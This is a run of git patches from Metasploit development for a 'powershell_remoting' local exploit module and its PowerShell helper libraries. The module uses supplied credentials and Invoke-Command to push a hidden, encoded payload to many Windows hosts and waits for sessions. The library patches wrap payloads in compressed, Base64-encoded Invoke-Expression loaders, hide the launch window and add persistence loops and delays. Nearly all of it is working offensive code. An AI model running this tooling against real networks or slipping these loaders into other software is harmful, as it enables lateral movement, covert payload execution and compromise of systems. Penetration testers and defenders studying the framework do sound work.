+      end
+
+      # Remove trailing comma...
+      ip_list = ip_list[0..-2]
+      ip_list << ";"
+    end
+
+    known_hosts = ""
+    if datastore['HOSTFILE']
+      ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
+        hostname.strip!
+        known_hosts << "'#{hostname}'," unless hostname.blank?
+      end
+      known_hosts = known_hosts[0..-2]
+    end
+
+    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { :encode_final_payload => true, :remove_comspec => true })
+
+    ps =<<EOF
+#{generate_credentials}
+$ResultList=@(#{known_hosts});
+#{ip_list}
+foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
+Invoke-Command -ComputerName $ResultList -ScriptBlock {#{command}}
+EOF
+
+    if datastore['SMBUser']
+      ps << " -Credential $creds"
+    end
+
+    ps << ";"
+    ps.gsub!("\n","")
+
+    command = generate_psh_command_line({
+      :noprofile => true,
+      :windowstyle => 'hidden',
+      :command => ps
+    })
+
+    print_status("Executing command...")
+    cmd_exec(command)
+  end
+
+  def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
+    creds = ""
+
+    unless user.nil?
+      creds = "$pass=ConvertTo-SecureString -string #{pass} -asPlainText -force;"\
+      "$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
+      if domain.nil?
+        creds << "'#{user}'"
+      else
+        creds << "'#{domain}\\#{user}'"
+      end
+
+      creds << ",$pass;"
+    end
+
+    return creds
+  end
+
+end
+

From c76341c82df7de48babc46b1a953e61a83ea189f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 17:45:30 +0000
Subject: [PATCH 046/108] Dont dsub Invoke-Command etc...

---
 lib/msf/core/exploit/powershell.rb | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index ac32e2e602b0..e918e7fd4b72 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -145,18 +145,18 @@ def generate_psh_args(opts)
 
     # Shorten args if PSH 2.0+
     unless datastore['PSH::old_technique']
-      arg_string.gsub!('-Command', '-c')
-      arg_string.gsub!('-EncodedCommand', '-e')
-      arg_string.gsub!('-ExecutionPolicy', '-ep')
-      arg_string.gsub!('-File', '-f')
-      arg_string.gsub!('-InputFormat', '-i')
-      arg_string.gsub!('-NoExit', '-noe')
-      arg_string.gsub!('-NoLogo', '-nol')
-      arg_string.gsub!('-NoProfile', '-nop')
-      arg_string.gsub!('-NonInteractive', '-noni')
-      arg_string.gsub!('-OutputFormat', '-o')
-      arg_string.gsub!('-Sta', '-s')
-      arg_string.gsub!('-WindowStyle', '-w')
+      arg_string.gsub!(' -Command ', ' -c ')
+      arg_string.gsub!(' -EncodedCommand ', ' -e ')
+      arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
+      arg_string.gsub!(' -File ', ' -f ')
+      arg_string.gsub!(' -InputFormat ', ' -i ')
+      arg_string.gsub!(' -NoExit ', ' -noe ')
+      arg_string.gsub!(' -NoLogo ', ' -nol ')
+      arg_string.gsub!(' -NoProfile ', ' -nop ')
+      arg_string.gsub!(' -NonInteractive ', ' -noni ')
+      arg_string.gsub!(' -OutputFormat ', ' -o ')
+      arg_string.gsub!(' -Sta ', ' -s ')
+      arg_string.gsub!(' -WindowStyle ', ' -w ')
     end
 
     return arg_string

From 1c169e29350571a88a1fd620499d9b2d3c8c8427 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 17:52:06 +0000
Subject: [PATCH 047/108] Uniq results

---
 modules/exploits/windows/local/powershell_remoting.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index 52d56bd72e3e..4a6de1a95b98 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -90,6 +90,7 @@ def exploit
 $ResultList=@(#{known_hosts});
 #{ip_list}
 foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
+$ResultList=$ResultList|select -uniq;
 Invoke-Command -ComputerName $ResultList -ScriptBlock {#{command}}
 EOF
 

From 038aae5adbd5d1fdb23ae5349e682701d33c8093 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 19:30:16 +0000
Subject: [PATCH 048/108] Run as jobs

---
 modules/exploits/windows/local/powershell_remoting.rb | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index 4a6de1a95b98..b0d5397126ef 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -90,8 +90,7 @@ def exploit
 $ResultList=@(#{known_hosts});
 #{ip_list}
 foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
-$ResultList=$ResultList|select -uniq;
-Invoke-Command -ComputerName $ResultList -ScriptBlock {#{command}}
+Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock {#{command}}
 EOF
 
     if datastore['SMBUser']
@@ -104,11 +103,15 @@ def exploit
     command = generate_psh_command_line({
       :noprofile => true,
       :windowstyle => 'hidden',
-      :command => ps
+      :command => ps,
+      :noexit => true
     })
 
     print_status("Executing command...")
-    cmd_exec(command)
+    begin
+      cmd_exec(command)
+    rescue Rex::TimeoutError
+    end
   end
 
   def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])

From b79bb4726de038916f550223f4ef378f50a74edb Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 19:41:24 +0000
Subject: [PATCH 049/108] Go for background approach

---
 .../windows/local/powershell_remoting.rb      | 21 +++++++++++++++++--
 1 file changed, 19 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index b0d5397126ef..81cdd67c322c 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -31,7 +31,6 @@ def initialize(info={})
         'DefaultOptions' =>
             {
                 'EXITFUNC' => 'thread',
-                'WfsDelay' => '60',
             },
         'DisclosureDate' => 'Jan 01 1999',
         'Platform'      => [ 'win' ],
@@ -50,11 +49,21 @@ def initialize(info={})
       OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
       OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
       # Move this out of advanced
-      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
+      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
+      OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ]),
     ])
+
+    register_advanced_options(
+      [
+        OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
+      ], self.class)
   end
 
   def exploit
+    if not datastore['ExitOnSession'] and not job_id
+      fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
+    end
+
     unless datastore['RHOSTS'] || datastore['HOSTFILE']
       fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
     end
@@ -112,6 +121,14 @@ def exploit
       cmd_exec(command)
     rescue Rex::TimeoutError
     end
+
+    stime = Time.now.to_f
+    while(true)
+      break if session_created? and datastore['ExitOnSession']
+      break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
+
+      Rex.sleep(1)
+    end
   end
 
   def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])

From aa932999318d05c6139e21e7584c6e5274ca66b4 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 23:19:14 +0000
Subject: [PATCH 050/108] Sleep instead of noexit

---
 modules/exploits/windows/local/powershell_remoting.rb | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index 81cdd67c322c..0561e68a8449 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -34,7 +34,7 @@ def initialize(info={})
             },
         'DisclosureDate' => 'Jan 01 1999',
         'Platform'      => [ 'win' ],
-        'SessionTypes'  => [ 'meterpreter' ],
+        'SessionTypes'  => [ 'meterpreter', 'shell' ],
         'Targets' =>
         [
             [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
@@ -99,21 +99,22 @@ def exploit
 $ResultList=@(#{known_hosts});
 #{ip_list}
 foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
-Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock {#{command}}
+Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { #{command} }
 EOF
 
     if datastore['SMBUser']
       ps << " -Credential $creds"
     end
 
-    ps << ";"
+    # If the host process terminates too quickly the jobs will die
+    # before they spawn in a new process.
+    ps << ";Sleep 60;"
     ps.gsub!("\n","")
 
     command = generate_psh_command_line({
       :noprofile => true,
       :windowstyle => 'hidden',
       :command => ps,
-      :noexit => true
     })
 
     print_status("Executing command...")

From a4b451dbc0ca6e4ef538e5bf85e9ba2bbac5ff5c Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 9 Feb 2014 23:36:25 +0000
Subject: [PATCH 051/108] Ensure we start in a new conhost/process

---
 modules/exploits/windows/local/powershell_remoting.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index 0561e68a8449..622cecd1c593 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -99,7 +99,7 @@ def exploit
 $ResultList=@(#{known_hosts});
 #{ip_list}
 foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
-Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { #{command} }
+Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
 EOF
 
     if datastore['SMBUser']
@@ -108,7 +108,7 @@ def exploit
 
     # If the host process terminates too quickly the jobs will die
     # before they spawn in a new process.
-    ps << ";Sleep 60;"
+    ps << ";Sleep 20;"
     ps.gsub!("\n","")
 
     command = generate_psh_command_line({

From 29bf296b61a7b2221653b518ef3a525ceb3aae95 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Wed, 12 Feb 2014 16:45:57 -0500
Subject: [PATCH 052/108] import rex powershell

---
 lib/rex/exploitation/powershell.rb | 124 +++++++++++++++++++++--------
 1 file changed, 93 insertions(+), 31 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 28424cbc4667..512c597a98e7 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -30,11 +30,36 @@ def to_s_lineno
     end
 
     #
-    # Return a Base64 encoded powershell code
+    # Return a zlib compressed powershell code
     #
-    def encode_code(eof = nil)
+    def deflate_code(eof = nil)
+      # Compress using the Deflate algorithm
+      compressed_stream = ::Zlib::Deflate.deflate(code,
+      ::Zlib::BEST_COMPRESSION)
+
+      # Base64 encode the compressed file contents
+      encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+      # Build the powershell expression
+      # Decode base64 encoded command and create a stream object
+      psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      # Read & delete the first two bytes due to incompatibility with MS
+      psh_expression << "$stream.ReadByte()|Out-Null;"
+      psh_expression << "$stream.ReadByte()|Out-Null;"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
+      psh_expression << "$(New-Object IO.Compression.DeflateStream("
+      psh_expression << "$stream,"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
+      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+
+      # If eof is set, add a marker to signify end of code output
+      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      psh_expression << "echo '#{eof}';" if eof
+
       # Convert expression to unicode
-      unicode_expression = Rex::Text.to_unicode(code)
+      unicode_expression = Rex::Text.to_unicode(psh_expression)
 
       # Base64 encode the unicode expression
       @code = Rex::Text.encode_base64(unicode_expression)
@@ -42,10 +67,11 @@ def encode_code(eof = nil)
       return code
     end
 
+
     #
-    # Return a zlib compressed powershell code
+    # Return a gzip compressed powershell code
     #
-    def compress_code(eof = nil)
+    def gzip_code(eof = nil)
       # Compress using the Deflate algorithm
       compressed_stream = Rex::Text.gzip(code)
 
@@ -54,30 +80,51 @@ def compress_code(eof = nil)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "IEX(New-Object IO.StreamReader("
-      psh_expression << "(New-Object IO.Compression.GzipStream("
-      psh_expression << "(New-Object IO.MemoryStream(,[Convert]::FromBase64String('#{encoded_stream}'))),"
+      psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
+      psh_expression << "$(New-Object IO.Compression.GzipStream("
+      psh_expression << "$stream,"
       psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd();"
+      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
       psh_expression << "echo '#{eof}';" if eof
 
-      @code = psh_expression
+      # Convert expression to unicode
+      unicode_expression = Rex::Text.to_unicode(psh_expression)
 
-      return psh_expression
+      # Base64 encode the unicode expression
+      @code = Rex::Text.encode_base64(unicode_expression)
+
+      return code
+    end
+
+    #
+    # Compresses script contents with gzip or deflate
+    #
+    def compress_code(eof = nil, gzip = true, in_place = true)
+      code = gzip ? gzip_code(eof) : deflate_code(eof)
+      @code = code if in_place
+      return code
     end
 
     #
     # Reverse the compression process
+    # Try gzip, inflate if that fails
     #
     def decompress_code
+      # Decode base64 and convert to ascii
+      raw = Rex::Text.decode_base64(code)
+      ascii_expression = Rex::Text.to_ascii(raw)
       # Extract substring with payload
       encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
       # Decode and decompress the string
-      return Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) )
-      # ::Zlib::Inflate.inflate( Rex::Text.decode_base64(encoded_stream) )
+      @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
+        Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )
+      return code
     end
   end
 
@@ -144,6 +191,7 @@ def get_var_names
         '$WhatIfPreference'
       ].map(&:downcase)
 
+      # return code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten - res_vars
 
       our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
       return our_vars.select {|v| !res_vars.include?(v)}
@@ -243,7 +291,17 @@ def strip_comments
       # Multi line
       code.gsub!(/<#(.*?)#>/m,'')
       # Single line
-      code.gsub!(/^#.*$|^\s+#.*$/,'')
+      code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
+    end
+
+    #
+    # Remove empty lines
+    #
+    def strip_empty_lines
+      # Windows EOL
+      code.gsub!(/[\r\n]+/,"\r\n")
+      # UNIX EOL
+      code.gsub!(/[\n]+/,"\n")
     end
 
     #
@@ -254,7 +312,6 @@ def strip_whitespace
       code.gsub!(/\s+/,' ')
     end
 
-
     #
     # Identify variables and replace them
     #
@@ -349,7 +406,21 @@ class Script
     # Pretend we are actually a string
     extend Forwardable
     # In case someone messes with String we delegate based on its instance methods
-    eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    #eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
+                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
+                   :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
+                   :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
+                   :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
+                   :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
+                   :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
+                   :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
+                   :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
+                   :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
+                   :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
+                   :initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
+                   :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
+                   :end_with?
 
     # def method_missing(meth, *args, &block)
     #   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
@@ -379,12 +450,11 @@ def initialize(code)
     ##
 
     #
-    # Convert binary to byte array, read from file if able
+    # Build a byte array to load into powershell code
     #
-    def self.to_byte_array(input_data,var_name="buf")
-      return "[Byte[]]$#{name} = ''" if input_data.nil? or input_data.empty?
-
-      code = input_data.unpack('C*')
+    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []
       1.upto(code.length-1) do |byte|
@@ -394,16 +464,7 @@ def self.to_byte_array(input_data,var_name="buf")
           lines.push ",0x#{code[byte].to_s(16)}"
         end
       end
-
-      return psh << lines.join("") + "\r\n"
-    end
-
-    #
-    # Build a byte array to load into powershell code
-    #
-    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-      return to_byte_array(input_data,var_name)
+      psh << lines.join("") + "\r\n"
     end
 
     def self.psp_funcs(dir)
@@ -423,3 +484,4 @@ def self.code_modifiers
 end
 end
 end
+

From 0056c260470815eeb2c629d506940fb49b7ef626 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Wed, 12 Feb 2014 22:06:18 -0500
Subject: [PATCH 053/108] import msf exploit

---
 lib/msf/core/exploit/powershell.rb | 75 +++++++++++++++++++++---------
 1 file changed, 53 insertions(+), 22 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index e918e7fd4b72..42ce1559ae90 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -12,11 +12,17 @@ def initialize(info = {})
     register_advanced_options(
       [
         OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
-        OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
+        OptBool.new('PSH::prepend_sleep'), [false, 'Prepend seconds of sleep']),
         OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
         OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
         OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
         OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
+        OptEnum.new('PSH::method', [true, 'Payload delivery method', 'reflection', [
+          'net',
+          'reflection',
+          'old',
+          'msil'
+        ]]),
       ], self.class)
   end
 
@@ -144,7 +150,7 @@ def generate_psh_args(opts)
     end
 
     # Shorten args if PSH 2.0+
-    unless datastore['PSH::old_technique']
+    unless datastore['PSH::method'] == 'old'
       arg_string.gsub!(' -Command ', ' -c ')
       arg_string.gsub!(' -EncodedCommand ', ' -e ')
       arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
@@ -178,7 +184,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     end
 
     # Old technique fails if powershell exits..
-    arg_opts[:noexit] = true if datastore['PSH::old_technique']
+    arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
 
     ps_args = generate_psh_args(arg_opts)
 
@@ -193,6 +199,9 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 $s.FileName=$b
 $s.Arguments='#{ps_args}'
 $s.UseShellExecute=$false
+$si.RedirectStandardOutput = $true
+$si.WindowStyle = 'Hidden'
+$si.CreateNoWindow = $True
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n",';')
@@ -231,6 +240,17 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     end
 
+    psh_payload = case datastore['PSH::method']
+    when 'net'
+      Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
+    when 'reflection'
+      Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
+    when 'old'
+      Msf::Util::EXE.to_win32pe_psh(framework, pay)
+    when 'msil'
+      raise "Not in framework anymore"
+    end
+
     # Run our payload in a while loop
     if datastore['PSH::persist']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
@@ -239,6 +259,13 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
+    if datastore['PSH::prepend_sleep']
+      if datastore['PSH::prepend_sleep'].to_i > 0
+        psh_payload = "Start-Sleep -s #{datastore['PSH::prepend_sleep']};" << psh_payload
+      else
+        vprint_error('Sleep time must be greater than 0 seconds')
+      end
+    end
 
     compressed_payload = compress_script(psh_payload)
     encoded_payload = encode_script(psh_payload)
@@ -297,7 +324,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     if opts[:remove_comspec]
       command = psh_command
     else
-      command = "%COMSPEC% /b /c #{psh_command}"
+      command = "%COMSPEC% /b /c start /min #{psh_command}"
     end
 
     vprint_status("Powershell command length: #{command.length}")
@@ -337,23 +364,24 @@ def self.secure_string(str)
       return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
     end
 
-	#
-	# Convert binary to byte array, read from file if able
-	#
-	def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-		code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-		code = code.unpack('C*')
-		psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-		lines = []
-		1.upto(code.length-1) do |byte|
-			if(byte % 10 == 0)
-				lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-			else
-				lines.push ",0x#{code[byte].to_s(16)}"
-			end
-		end
-		psh << lines.join("") + "\r\n"
-	end
+    #
+    # Convert binary to byte array, read from file if able
+    #
+    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
+      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+      lines = []
+      1.upto(code.length-1) do |byte|
+        if(byte % 10 == 0)
+          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+        else
+          lines.push ",0x#{code[byte].to_s(16)}"
+        end
+      end
+
+      return psh << lines.join("") + "\r\n"
+    end
 
     #
     # Find PID of file locker
@@ -362,10 +390,13 @@ def self.who_locked_file?(filename)
       return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
 
-
+    #
+    # Return last time of login for each user
+    #
     def self.get_last_login(user)
       return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
     end
+
   end
 end
 end

From c9a2135959b6388ea6f73cb4fc63fdd716137c6c Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 2 Mar 2014 19:07:13 +0000
Subject: [PATCH 054/108] Merge in semperv

---
 lib/msf/core/exploit/powershell.rb | 127 ++++++++++++++++++-----------
 lib/rex/exploitation/powershell.rb | 111 ++++++++++++++++++-------
 2 files changed, 161 insertions(+), 77 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index e918e7fd4b72..f28c94650b58 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -4,27 +4,33 @@
 module Msf
 module Exploit::Powershell
 
-  class PshScript < Rex::Exploitation::Powershell::Script
+  class PowershellScript < Rex::Exploitation::Powershell::Script
   end
 
   def initialize(info = {})
     super
     register_advanced_options(
       [
-        OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
-        OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
-        OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
-        OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
-        OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
-        OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
+        OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
+        OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
+        OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]),
+        OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]),
+        OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]),
+        OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]),
+        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
+          'net',
+          'reflection',
+          'old',
+          'msil'
+        ]]),
       ], self.class)
   end
 
   #
-  # Reads script into a PshScript
+  # Reads script into a PowershellScript
   #
   def read_script(script_path)
-    return PshScript.new(script_path)
+    return PowershellScript.new(script_path)
   end
 
   #
@@ -41,7 +47,7 @@ def make_subs(script, subs)
       script.gsub!(set[0],set[1])
     end
 
-    return script
+    script
   end
 
   #
@@ -53,7 +59,8 @@ def process_subs(subs)
     subs.split(';').each do |set|
       new_subs << set.split(',', 2)
     end
-    return new_subs
+
+    new_subs
   end
 
   #
@@ -62,13 +69,14 @@ def process_subs(subs)
   #
   def encode_script(script_in, eof = nil)
     # Build script object
-    psh = PshScript.new(script_in)
+    psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
     datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
-    return psh.encode_code(eof)
+
+    psh.encode_code(eof)
   end
 
   #
@@ -77,13 +85,14 @@ def encode_script(script_in, eof = nil)
   #
   def compress_script(script_in, eof = nil)
     # Build script object
-    psh = PshScript.new(script_in)
+    psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
     datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
-    return psh.compress_code(eof)
+
+    psh.compress_code(eof)
   end
 
   #
@@ -101,14 +110,15 @@ def generate_psh_command_line(opts)
     end
 
     args = generate_psh_args(opts)
-    return "#{opts[:path]}#{binary} #{args}"
+
+    "#{opts[:path]}#{binary} #{args}"
   end
 
   #
   # Generate arguments for the powershell command
   #
   def generate_psh_args(opts)
-    arg_string = ""
+    arg_string = " "
     opts.each_pair do |arg, value|
       case arg
       when :encodedcommand
@@ -144,7 +154,7 @@ def generate_psh_args(opts)
     end
 
     # Shorten args if PSH 2.0+
-    unless datastore['PSH::old_technique']
+    unless datastore['Powershell::method'] == 'old'
       arg_string.gsub!(' -Command ', ' -c ')
       arg_string.gsub!(' -EncodedCommand ', ' -e ')
       arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
@@ -159,8 +169,10 @@ def generate_psh_args(opts)
       arg_string.gsub!(' -WindowStyle ', ' -w ')
     end
 
-    return arg_string
+    #Strip off first space character
+    arg_string[1..-1]
   end
+
   #
   # Runs powershell in hidden window raising interactive proc msg
   # Detect the architecture
@@ -178,7 +190,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     end
 
     # Old technique fails if powershell exits..
-    arg_opts[:noexit] = true if datastore['PSH::old_technique']
